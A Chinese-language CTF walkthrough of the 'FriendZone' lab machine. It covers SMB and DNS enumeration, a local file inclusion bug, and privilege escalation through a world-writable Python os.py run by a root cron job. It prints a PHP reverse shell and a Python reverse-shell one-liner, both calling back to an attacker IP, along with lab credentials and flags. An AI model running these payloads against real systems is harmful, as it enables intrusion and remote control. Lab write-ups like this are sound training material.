![](https://i-blog.csdnimg.cn/blog_migrate/0bfb925b6d14fa53840ca83e8c752790.png)
IP:10.10.10.123
OS:Linux
DIFFICULTY:Easy
0x01 Information Gathering
端口扫描+指纹识别
naabu -host 10.10.10.123 -p 1-65535 -c 200 --rate 2500 -nmap-cli 'nmap -sV -sC -T4'
__
___ ___ ___ _/ / __ __
/ _ \/ _ \/ _ \/ _ \/ // /
/_//_/\_,_/\_,_/_.__/\_,_/
projectdiscovery.io
[INF] Current naabu version 2.1.5 (outdated)
[INF] Running host discovery scan
[INF] Running SYN scan with CAP_NET_RAW privileges
[INF] Found 7 ports on host 10.10.10.123 (10.10.10.123)
10.10.10.123:22
10.10.10.123:139
10.10.10.123:80
10.10.10.123:443
10.10.10.123:445
10.10.10.123:21
10.10.10.123:53
[INF] Running nmap command: nmap -sV -sC -T4 -p 22,139,80,443,445,21,53 10.10.10.123
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-11 22:48 CST
Nmap scan report for bogon (10.10.10.123)
Host is up (0.47s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a96824bc971f1e54a58045e74cd9aaa0 (RSA)
| 256 e5440146ee7abb7ce91acb14999e2b8e (ECDSA)
|_ 256 004e1a4f33e8a0de86a6e42a5f84612b (ED25519)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open ssl/http Apache httpd 2.4.29
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after: 2018-11-04T21:02:30
|_http-title: 404 Not Found
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Hosts: FRIENDZONE, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -59m59s, deviation: 1h43m54s, median: 0s
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-05-11T14:49:04
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: friendzone
| NetBIOS computer name: FRIENDZONE\x00
| Domain name: \x00
| FQDN: friendzone
|_ System time: 2023-05-11T17:49:04+03:00
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.51 seconds
Web信息收集
访问页面后显示如下页面,得到邮箱info@friendzoneportal.red
,可能该网站的域名为friendzoneportal.red
# 80 端口
http://10.10.10.123/
# 443 端口
https://10.10.10.123/
443
页面提示证书错误,查看证书信息得到域名friendzone.red
、邮箱账号haha@friendzone.red
接下来,修改hosts配置,将获取到的所有域名信息添加进去
echo 10.10.10.123 friendzone.red friendzoneportal.red >> /etc/hosts
再次进行访问,页面如下
目录扫描
1.扫描80端口的目录
dirsearch -u http://10.10.10.123/ -x 403 -r
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/10.10.10.123/-_23-05-09_21-59-12.txt
Error Log: /root/.dirsearch/logs/errors-23-05-09_21-59-12.log
Target: http://10.10.10.123/
[21:59:12] Starting:
[22:00:25] 200 - 324B - /index.html
[22:00:25] 200 - 11KB - /index.bak
[22:00:48] 200 - 13B - /robots.txt
[22:01:03] 200 - 747B - /wordpress/ (Added to queue)
[22:01:06] Starting: wordpress/
Task Completed
分别进行访问
http://friendzone.red/index.bak
# 修改后缀后在本地浏览器中打开
mv index.bak index.html
http://friendzone.red/robots.txt
http://friendzone.red/wordpress/
2.扫描443端口的目录
dirsearch -u https://10.10.10.123/ -x 403
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/friendzone.red/-_23-05-11_23-46-13.txt
Error Log: /root/.dirsearch/logs/errors-23-05-11_23-46-13.log
Target: https://friendzone.red/
[23:46:15] Starting:
[23:46:24] 301 - 315B - /js -> https://friendzone.red/js/ (Added to queue)
[23:46:50] 301 - 318B - /admin -> https://friendzone.red/admin/ (Added to queue)
[23:46:51] 200 - 742B - /admin/
[23:46:51] 200 - 742B - /admin/?/login
[23:47:31] 200 - 238B - /index.html
[23:47:33] 200 - 922B - /js/
分别进行访问
https://friendzone.red/js/
https://friendzone.red/js/js
判断以下内容使用了base64编码Y1FwRDhjTjJyaDE2ODM4MjA0MjhmRUZHczV6cVNj
进行解码操作,得到以下信息,暂不知道其作用
cQpD8cN2rh1683820428fEFGs5zqSc
https://friendzone.red/admin/
历史漏洞搜索,暂未发现可利用的信息
0x02 Exploitation
在进行端口收集时,发现开放了445
端口的SMB
服务,尝试进行爆破,发现允许匿名登录(Anonymous)
hydra -L Username.txt -P Password.txt 10.10.10.123 smb -t 4
由于不知道 SMB 共享的名称,可以使用 smbmap
工具来扫描目标主机上可用的 SMB 共享
发现只有general
和Development
两个目录可以访问,前者只能读取,后者可读可写
smbmap -H 10.10.10.123
还可以使用nmap,扫描结果会更加详细一些,建议使用nmap进行扫描
nmap -sV -T4 --script smb-enum-shares.nse -p 445 10.10.10.123
PORT STATE SERVICE VERSION
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: FRIENDZONE
Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.10.10.123\Development:
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files
| Users: 0
| Max Users: <unlimited>
| Path: C:\etc\Development
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.10.123\Files:
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files /etc/Files
| Users: 0
| Max Users: <unlimited>
| Path: C:\etc\hole
| Anonymous access: <none>
| Current user access: <none>
| \\10.10.10.123\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (FriendZone server (Samba, Ubuntu))
| Users: 1
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.10.123\general:
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files
| Users: 0
| Max Users: <unlimited>
| Path: C:\etc\general
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.10.123\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:\var\lib\samba\printers
| Anonymous access: <none>
|_ Current user access: <none>
然后使用smbclient
命令行工具连接到这些共享,其中发现general
目录中存在creds.txt
smbclient //10.10.10.123/general -U anonymous
使用以下命令进行查看,根据这个文本文件的内容,判断该文件内容可能是smb、ssh、web服务的账号密码
more creds.txt
creds for the admin THING:
admin:WORKWORKHhallelujah@#
/tmp/smbmore.1wP8o8 (END)
在Development
目录中未发现文件
smbclient //10.10.10.123/Development -U anonymous
接下来尝试对53
端口的dns
服务进行漏洞探测,首先使用以下命令进行DNS域传送漏洞检测
dig @10.10.10.123 friendzone.red axfr
dig @10.10.10.123 friendzoneportal.red axfr
通过该漏洞得到以下新的域名信息
administrator1.friendzone.red
uploads.friendzone.red
admin.friendzoneportal.red
files.friendzoneportal.red
imports.friendzoneportal.red
vpn.friendzoneportal.red
将获取的域名添加到/etc/hosts
中
10.10.10.123 friendzone.red friendzoneportal.red administrator1.friendzone.red uploads.friendzone.red admin.friendzoneportal.red files.friendzoneportal.red imports.friendzoneportal.red vpn.friendzoneportal.red
分别进行访问:
https://friendzoneportal.red/
https://administrator1.friendzone.red
https://uploads.friendzone.red
https://admin.friendzoneportal.red
https://files.friendzoneportal.red
https://imports.friendzoneportal.red
https://vpn.friendzoneportal.red
接下来尝试使用在SMB服务中获取到的账号密码登录以下页面
https://administrator1.friendzone.red
admin:WORKWORKHhallelujah@#
根据页面提示访问以下页面,提示需要添加参数
https://administrator1.friendzone.red/dashboard.php
根据页面提示添加以下图片参数,结果页面提示Final Access timestamp is 1683826511
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestamp
再次修改具体的时间戳
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=1683826511
根据页面提示Something went worng ! , the script include wrong param !
(包含了错误的参数),判断pagename
的值可能不是指定时间戳,而是指定具体路径,此处可能存在本地文件包含漏洞,接下来尝试进行漏洞测试:
注意:login.php
页面在不登录的情况下直接访问会提示以下信息
首先尝试包含登录页面,输入login.php
发现页面没有发生变化
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=login.php
输入login
页面发生了改变,页面下方出现了Wrong !
的提示,这证明login.php
页面被包含到此处了,此处可以判断确实存在本地文件包含漏洞
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=login
接下来尝试使用php伪协议去读取php源码进行进一步分析
# 读取login.php的源码
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=php://filter/read=convert.base64-encode/resource=login
接下来读取dashboard.php的源码,根据代码逻辑分析,确实该页面在pagename参数中自动添加了.php
的后缀,所以这也就是为什么刚才访问login.php
页面没反应,而输入login
页面就显示Wrong !
的原因了
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=php://filter/read=convert.base64-encode/resource=dashboard
接下来尝试结合前期获取的SMB服务中有可写权限的Development
目录,通过该目录写入shell,然后通过此处的文件包含漏洞进行利用
| \\10.10.10.123\Development:
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files
| Users: 0
| Max Users: <unlimited>
| Path: C:\etc\Development
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
接下来进行验证:
1.本地创建info.php
,写入以下内容
<?php phpinfo();?>
2.连接smb并上传info.php至Development目录
smbclient //10.10.10.123/Development -U admin
WORKWORKHhallelujah@#
put info.php
3.通过pagename指定此目录的文件进行访问
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/info
4.再次写入rev.php
进行反弹shell,内容如下
<?php $sock = fsockopen("10.10.14.33", "65002"); $descriptorspec = array(0 => $sock, 1 => $sock, 2 => $sock ); $process = proc_open("/bin/sh", $descriptorspec, $pipes); proc_close($process); ?>
5.将rev.php
文件上传至Development目录
smbclient //10.10.10.123/Development -U admin
WORKWORKHhallelujah@#
put rev.php
6.开启nc监听并访问rev.php
nc -nvlp 65002
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/rev
7.查看目标是否存在python环境,如果存在则切换成pty
的shell, 交互性会更好一些
which python python2 python3
# 此处的python2 环境执行失败
python2 -c 'import pty; pty.spawn("/bin/bash")'
# python3 环境执行成功
python3 --version
python3 -c 'import pty; pty.spawn("/bin/bash")'
8.查找user.txt
,发现该文件在friend
用户的目录中
0x03 Privilege Escalation
1.www-data 提升至 friend权限
在/var/www/mysql_data.conf
中发现了friend用户的密码,
虽然是数据库的,但此处可以考虑SSH密码复用,直接通过SSH进行登录
ssh friend@10.10.10.123
Agpyu12!0.213$
获取user的flag
cat root.txt
flag: 2392f6b92fc582e6e446cb13d9f97380
2.friend 提升至 root权限
首先上传linpeas.sh
进行信息收集
./linpeas.sh > output.txt
信息收集结果没有检测到可以直接进行利用的CVE漏洞,需要人工对扫描结果进行逐一分析
1.在通常为空的/opt
目录当中发现存在server_admin
文件夹
╔══════════╣ Unexpected in /opt (usually empty)
total 12
drwxr-xr-x 3 root root 4096 Sep 13 2022 .
drwxr-xr-x 22 root root 4096 Sep 13 2022 ..
drwxr-xr-x 2 root root 4096 Sep 13 2022 server_admin
进入该目录后,发现存在reporter.py
文件,这个脚本导入了OS模块并定义了两个变量:to_address和from_address,分别存储电子邮件的目标地址和发件人地址。然后,它使用print语句输出一条消息来显示正在尝试发送电子邮件到目标地址
friend@FriendZone:~$ cd /opt
friend@FriendZone:/opt$ ls
server_admin
friend@FriendZone:/opt$ cd server_admin/
friend@FriendZone:/opt/server_admin$ ls
reporter.py
friend@FriendZone:/opt/server_admin$ cat reporter.py
#!/usr/bin/python
import os
to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"
print "[+] Trying to send email to %s"%to_address
#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''
#os.system(command)
# I need to edit the script later
# Sam ~ python developer
在server_admin目录中执行pspy,查看下reporter.py
是否与root的定时任务有关系
Pspy是一个命令行工具,用于在不需要root权限的情况下窥探进程。它允许您在其他用户运行的命令、cron任务等执行时查看它们。该工具通关循环遍历/proc下的值来获取进程参数信息。
pspy:https://github.com/DominicBreuker/pspy
# 将本地的pspy上传至靶机中
scp pspy64 friend@10.10.10.123:/tmp/
pass: Agpyu12!0.213$
chmod +x /tmp/pspy64 && /tmp/pspy64
在进程监控中果然发现了定时任务,每2分钟会去执行2次reporter.py
2.在当前用户拥有或每个人都可以写的有趣的文件扫描结果中,os.pyc
文件引起了我的注意
pyc是一种二进制文件,是由Python文件经过编译后所生成的文件,它是一种byte code,Python文件变成pyc文件后,加载的速度有所提高,而且pyc还是一种跨平台的字节码,由Python的虚拟机来执行的,就类似于Java或者.NET的虚拟机的概念。pyc的内容与Python的版本是相关的,不同版本编译后的pyc文件是不同的,例如2.5版本编译的是pyc文件,而2.4版本编译的Python是无法执行的
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/etc/Development
/etc/Development/info.php
/etc/Development/rev.php
/etc/Development/shell.php
/etc/Development/test.php
/etc/sambafiles
/home/friend
/run/lock
/run/user/1000
/run/user/1000/gnupg
/run/user/1000/systemd
/tmp
/tmp/.font-unix
/tmp/.ICE-unix
/tmp/.Test-unix
/tmp/.X11-unix
/tmp/.XIM-unix
/usr/lib/python2.7
/usr/lib/python2.7/os.py
/usr/lib/python2.7/os.pyc
/var/lib/php/sessions
/var/mail/friend
/var/spool/samba
/var/tmp
进入/usr/lib/python2.7/
目录进一步分析,首先os.py
的权限为777,也就是任何用户都可以读写执行该文件,而os.pyc
只有root用户可以读和写,其他低权限用户只能读取
friend@FriendZone:/opt/server_admin$ cd /usr/lib/python2.7/
friend@FriendZone:/usr/lib/python2.7$ ls -al os*
-rwxr-xr-x 1 root root 4635 Apr 16 2018 os2emxpath.py
-rwxr-xr-x 1 root root 4507 Oct 6 2018 os2emxpath.pyc
-rwxrwxrwx 1 root root 26124 May 12 07:25 os.py
-rw-r--r-- 1 root root 25926 May 12 07:26 os.pyc
根据上述得到的信息,整理利用思路:
os.py
是777的权限,所以我们可以直接在os.py的末尾追加python反弹shell的代码,但是添加后直接运行反弹的shell还是friend
的权限,这是因为我们使用的低权限的用户执行的这个脚本,需要等待root权限运行的python脚本来调用os库,那样就可以获得root权限的shell
/opt/server_admin/reporter.py
中调用了os
库,并且以root权限每2分钟调用执行2次,而当Python解释器尝试导入模块时,它会首先查找已编译的.pyc文件,如果发现匹配的文件,则优先加载该文件而不是源代码。这意味着如果恶意.pyc文件位于Python搜索路径中并且与标准库或其他常见模块具有相同的名称,则Python解释器可能会加载该文件,即使该文件包含恶意代码。
那么,如何重新生包含恶意代码的**.pyc
**文件呢?
如果 os.py 文件的修改时间比对应的 os.pyc 文件要新,那么执行 python os.py
命令时就会重新生成新的 os.pyc
文件。如果对应的 .pyc 文件不存在,或者其修改时间晚于对应的 .py 文件,Python 解释器就会首先编译 .py 文件生成 .pyc 文件,然后再执行 .pyc 文件中的代码。因此,如果你执行了 python os.py 命令,并且 os.pyc 文件的修改时间比 os.py 文件旧,那么 Python 解释器会重新生成新的 os.pyc 文件。
具体利用步骤:
# 1.追加反弹shell的命令
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.33",65004));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' >> os.py
# 2.执行os.py生成新的os.pyc
python2 os.py
# 3.开启nc监听 等待定时任务的执行
nc -nvlp 65004
# 4.获得 root 的flag
cat root.txt
flag: 53a3fe5441b1541a0aab1d0acabd8d3b
如果您觉得我的文章有帮助到您,也可以点赞、留言或者分享给更多人哦。
这样可以让更多的人看到我们的交流,并且可以激励我继续完成更多靶场WP。
非常感谢您的支持和鼓励,期待能够与您继续保持联系。